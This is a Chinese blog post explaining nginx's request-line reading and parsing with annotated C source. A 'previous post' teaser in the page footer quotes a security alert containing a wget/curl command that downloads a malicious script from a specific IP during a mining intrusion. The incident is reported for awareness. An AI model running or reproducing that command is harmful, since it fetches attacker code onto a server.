nginx请求行读取流程
在前面的文章中我们讲解了当一个请求到达时,nginx是如何建立连接并且读取数据的。在读取数据完成之后,nginx会将读取事件的回调方法设置为ngx_http_process_request_line()
,这个方法主要有如下几个作用:
- 读取客户端请求的数据,如果客户端数据读取不全,则继续监听客户端读事件以读取完整数据;
- 解析读取到的客户端数据,将各个参数存储到表征当前请求的
ngx_http_request_t
结构体中; - 将读事件的回调方法设置为
ngx_http_process_request_headers()
,以继续处理客户端发送来的header数据。
这里需要说明的一点是,所谓的请求行指的是http请求报文中类似于GET /index HTTP/1.1
的部分,根据http协议,这一部分下面的数据才是各个header数据,而这里解析请求行数据的过程是不包含如何解析header数据的(这部分我们将在下一篇文章中进行讲解)。
1. 请求行处理主流程
请求行处理的主流程主要是在ngx_http_process_request_line()
方法中,如下是该方法的源码:
static void ngx_http_process_request_line(ngx_event_t *rev) { ssize_t n; ngx_int_t rc, rv; ngx_str_t host; ngx_connection_t *c; ngx_http_request_t *r; c = rev->data; r = c->data; if (rev->timedout) { ngx_log_error(NGX_LOG_INFO, c->log, NGX_ETIMEDOUT, "client timed out"); c->timedout = 1; ngx_http_close_request(r, NGX_HTTP_REQUEST_TIME_OUT); return; } rc = NGX_AGAIN; for (;;) { if (rc == NGX_AGAIN) { // 这里的ngx_http_read_request_header()方法的主要作用是返回在连接上读取到的数据 n = ngx_http_read_request_header(r); // n为NGX_AGAIN时,说明已经将当前事件添加到事件队列中了,因而直接返回,而NGX_ERROR则说明 // 当前读取失败了,也直接返回 if (n == NGX_AGAIN || n == NGX_ERROR) { return; } } // 这里主要是解析请求行的数据,比如"GET /index HTTP/1.1" rc = ngx_http_parse_request_line(r, r->header_in); // NGX_OK表示请求行的数据是完整的,并且已经解析完成 if (rc == NGX_OK) { r->request_line.len = r->request_end - r->request_start; r->request_line.data = r->request_start; r->request_length = r->header_in->pos - r->request_start; r->method_name.len = r->method_end - r->request_start + 1; r->method_name.data = r->request_line.data; if (r->http_protocol.data) { r->http_protocol.len = r->request_end - r->http_protocol.data; } // 标记与参数相关的属性 if (ngx_http_process_request_uri(r) != NGX_OK) { return; } if (r->host_start && r->host_end) { host.len = r->host_end - r->host_start; host.data = r->host_start; // 校验host,并且将host转换为小写形式 rc = ngx_http_validate_host(&host, r->pool, 0); if (rc == NGX_DECLINED) { ngx_http_finalize_request(r, NGX_HTTP_BAD_REQUEST); return; } if (rc == NGX_ERROR) { ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR); return; } // 设置用于处理当前请求的server和location块 if (ngx_http_set_virtual_server(r, &host) == NGX_ERROR) { return; } r->headers_in.server = host; } // NGX_HTTP_VERSION_10表示当前请求是http 1.0,这里就是判断当前请求是否为0.9版本的请求, // 如果是0.9版本的请求,那么是没有请求头的 if (r->http_version < NGX_HTTP_VERSION_10) { if (r->headers_in.server.len == 0 && ngx_http_set_virtual_server(r, &r->headers_in.server) == NGX_ERROR) { return; } // 对于0.9版本的请求,直接处理请求 ngx_http_process_request(r); return; } // 初始化headers链表 if (ngx_list_init(&r->headers_in.headers, r->pool, 20, sizeof(ngx_table_elt_t)) != NGX_OK) { ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR); return; } c->log->action = "reading client request headers"; // 将事件的处理方法设置为ngx_http_process_request_headers()方法 rev->handler = ngx_http_process_request_headers; ngx_http_process_request_headers(rev); return; } if (rc != NGX_AGAIN) { ngx_http_finalize_request(r, NGX_HTTP_BAD_REQUEST); return; } /* NGX_AGAIN: a request line parsing is still incomplete */ // 走到这里,说明返回值是NGX_AGAIN,也即读取请求行还未读取完全,如果缓冲区还有可用数据, // 则不做任何处理,否则继续下一次循环 if (r->header_in->pos == r->header_in->end) { // 为当前request申请大块内存 rv = ngx_http_alloc_large_header_buffer(r, 1); if (rv == NGX_ERROR) { ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR); return; } if (rv == NGX_DECLINED) { r->request_line.len = r->header_in->end - r->request_start; r->request_line.data = r->request_start; ngx_http_finalize_request(r, NGX_HTTP_REQUEST_URI_TOO_LARGE); return; } } } }
对于这里的主流程,我们可以看到,其首先是检查读事件是否过期,如果过期了,则直接返回。如果没有过期,则进入一个无限for循环,如下是这个循环的工作:
- 调用
ngx_http_read_request_header()
方法读取数据,在这个方法中,nginx会检查当前连接句柄上是否存在可读的数据,如果不存在,继续将当前事件添加到事件框架中。由于当前事件的回调方法是上面的主流程方法,也即ngx_http_process_request_line()
,因而当再次触发读事件时,还是会走到这里的ngx_http_read_request_header()
方法读取数据,这也就是为什么在ngx_http_read_request_header()
方法返回NGX_AGAIN时,主流程可以直接返回而不做任何处理的原因; - 调用
ngx_http_parse_request_line()
方法解析请求行的数据,这个方法比较长,但是逻辑非常简单,主要工作就是一个字符一个字符的比对请求行中的各个数据,然后将其设置到ngx_http_request_t
中,我们这里不对齐进行深入讲解; - 根据前面两个方法的返回值处理当前请求,主要分为NGX_OK、NGX_AGAIN、NGX_DECLINED和NGX_ERROR。当返回值是NGX_DECLINED时,表示请求行太长,此时会给客户端返回414状态码;当返回值是NGX_ERROR时,会直接关闭当前连接,并且返回500状态码;而NGX_AGAIN则会继续等待触发下一次的事件循环;
- 在响应码为NGX_OK时,会设置
ngx_http_request_t
中的相关字段,并且会检查请求行数据的合法性。需要注意的是,在这个分支最后检查完时会分情况,如果当前http请求版本为0.9版本,由于0.9版本没有请求头,因而直接调用ngx_http_process_request()
进入http模块的11个阶段进行处理。如果当前版本是1.0以上,由于其是需要传请求头的,因而会调用ngx_http_process_request_headers()
方法读取并处理请求头数据。
2. 请求行数据读取
我们这里主要看一下nginx是如何读取请求行数据的,如下是ngx_http_read_request_header()
方法的源码:
static ssize_t ngx_http_read_request_header(ngx_http_request_t *r) { ssize_t n; ngx_event_t *rev; ngx_connection_t *c; ngx_http_core_srv_conf_t *cscf; c = r->connection; rev = c->read; // 计算当前还有多少数据未处理 n = r->header_in->last - r->header_in->pos; // 如果n大于0,说明还有读取到的数据未处理,则直接返回n if (n > 0) { return n; } // 走到这里,说明当前读取到的数据都已经处理完了,因而这里会进行判断,如果当前事件的ready参数为1, // 则表示当前连接的句柄上存储还未读取的数据,因而调用c->recv()方法读取数据,否则继续将当前事件 // 添加到事件队列中,并且继续监听当前连接句柄的读事件 // 这里的c->recv()方法实际指向的是ngx_unix_recv()方法,主要作用就是读取指定连接上的数据 if (rev->ready) { // 在连接文件描述符上读取数据 n = c->recv(c, r->header_in->last, r->header_in->end - r->header_in->last); } else { n = NGX_AGAIN; } // 如果n为NGX_AGAIN,则将当前事件添加到事件监听器中,并且继续监听当前epoll句柄的读事件 if (n == NGX_AGAIN) { if (!rev->timer_set) { cscf = ngx_http_get_module_srv_conf(r, ngx_http_core_module); ngx_add_timer(rev, cscf->client_header_timeout); } if (ngx_handle_read_event(rev, 0) != NGX_OK) { ngx_http_close_request(r, NGX_HTTP_INTERNAL_SERVER_ERROR); return NGX_ERROR; } return NGX_AGAIN; } // 如果n为0,说明客户端关闭了连接 if (n == 0) { ngx_log_error(NGX_LOG_INFO, c->log, 0, "client prematurely closed connection"); } // 如果客户端关闭了连接或者读取异常,则回收当前的request结构体 if (n == 0 || n == NGX_ERROR) { c->error = 1; c->log->action = "reading client request headers"; ngx_http_finalize_request(r, NGX_HTTP_BAD_REQUEST); return NGX_ERROR; } // 更新当前读取到的数据指针 r->header_in->last += n; return n; }
这里读取请求行的数据流程整体也比较简单,其主要流程如下:
- 检查当前读取缓冲区中是否存在还未处理的数据,如果存在,则直接返回,以让后面的
ngx_http_parse_request_line()
方法解析这些数据; - 检查当前的事件是否处于可执行状态,是则调用
c->recv()
方法从连接的句柄上读取数据,返回值n表示读取到的数据大小; - 如果当前事件处于不可执行状态,则将当前事件添加到事件框架中,并且在epoll句柄上为当前连接注册读事件;
- 在第二步中,如果读取数据的返回值是NGX_ERROR或者0(0表示客户端断开了连接),则给客户端返回400响应码。
可以看到,这里对于请求行数据的处理过程,简单的说就是如果存在数据就读取,如果不存在则注册当前的读取事件。
3. 小结
本文主要讲解了nginx是如何读取请求行数据,并且对请求行数据进行解析的,并且着重说明了在读取请求行数据时,如果读取到的数据不完整时,nginx是如何通过事件模型进行处理的。
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
记录一次云主机被攻击挂恶意代码挖矿的事件
由于ECS使用了有规律的弱密码被SSH暴力破解(非22端口) 阿里云提示被入侵且执行了恶意代码,安全中心可处理。 相关资料: https://bbs.pediy.com/thread-251753.htm https://zhuanlan.zhihu.com/p/111351235 但至第二天凌晨时,依旧报警。 父进程路径:/usr/bin/perl 父进程命令行:rsync 父进程id:12354 进程id:12355 用户名:root URL链接:http://45.55.129.23/tddwrt7s.sh 进程路径:/usr/bin/bash 命令行参数:sh -c wget -q http://45.55.129.23/tddwrt7s.sh || curl -s -O -f http://45.55.129.23/tddwrt7s.sh 2>&1 3>&1 与该URL有关联的漏洞:None 事件说明:云盾检测到您的服务器正在尝试访问一个可疑恶意下载源,可能是黑客通过指令从远程服务器下载恶意文件,危害服务器安全。如果该指令不是您自己运行,请及时排查...
- 下一篇
JVM源码分析之堆外内存完全解读
本文来自 PerfMa社区,欢迎关注公众号 ;链接: https://club.perfma.com/article/150614 概述 广义的堆外内存 说到堆外内存,那大家肯定想到堆内内存,这也是我们大家接触最多的,我们在jvm参数里通常设置-Xmx来指定我们的堆的最大值,不过这还不是我们理解的Java堆,-Xmx的值是新生代和老生代的和的最大值,我们在jvm参数里通常还会加一个参数-XX:MaxPermSize来指定持久代的最大值,那么我们认识的Java堆的最大值其实是-Xmx和-XX:MaxPermSize的总和,在分代算法下,新生代,老生代和持久代是连续的虚拟地址,因为它们是一起分配的,那么剩下的都可以认为是堆外内存(广义的)了,这些包括了jvm本身在运行过程中分配的内存,codecache,jni里分配的内存,DirectByteBuffer分配的内存等等 狭义的堆外内存 而作为java开发者,我们常说的堆外内存溢出了,其实是狭义的堆外内存,这个主要是指java.nio.DirectByteBuffer在创建的时候分配内存,我们这篇文章里也主要是讲狭义的堆外内存,因为它和我们...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Linux系统CentOS6、CentOS7手动修改IP地址
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- SpringBoot2全家桶,快速入门学习开发网站教程
- CentOS8编译安装MySQL8.0.19
- CentOS7,CentOS8安装Elasticsearch6.8.6
- SpringBoot2整合Redis,开启缓存,提高访问速度
- Red5直播服务器,属于Java语言的直播服务器
- CentOS6,CentOS7官方镜像安装Oracle11G
- Windows10,CentOS7,CentOS8安装Nodejs环境
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池